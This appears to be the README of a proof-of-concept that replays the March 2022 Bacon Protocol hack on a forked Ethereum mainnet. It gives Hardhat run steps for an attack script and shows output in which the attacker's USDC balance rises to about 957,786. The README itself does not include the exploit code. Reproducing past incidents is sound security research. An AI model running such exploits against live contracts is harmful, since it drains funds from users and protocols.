BaconProtocol20220305

Bacon Protocol re-hack PoC

How to run

Install nodejs/npm first

Set up the forking url (in hardhat.config.ts)

e.g. https://speedy-nodes-nyc.moralis.io/xxxxxxxxxxx/eth/mainnet/archive ( You need to apply for speedy-nodes from moralis.io)

Then run

npm install
npx hardhat run scripts/attack.ts

You will see similar output later

Attacker USDC balance: 0.0
Exploiting... transcation:  0x00ce9e37ea3fb76f861cf0bc114c2d5314acd880a40f0f72d1b1292b72e4db29
Exploit complete.
Attacker USDC balance: 957786.585605

This means the attack is complete

The block height of the fork is 14326931

Link

• https://twitter.com/peckshield/status/1500105933128495108
• https://www.tofreedom.me/bacon-protocolerc777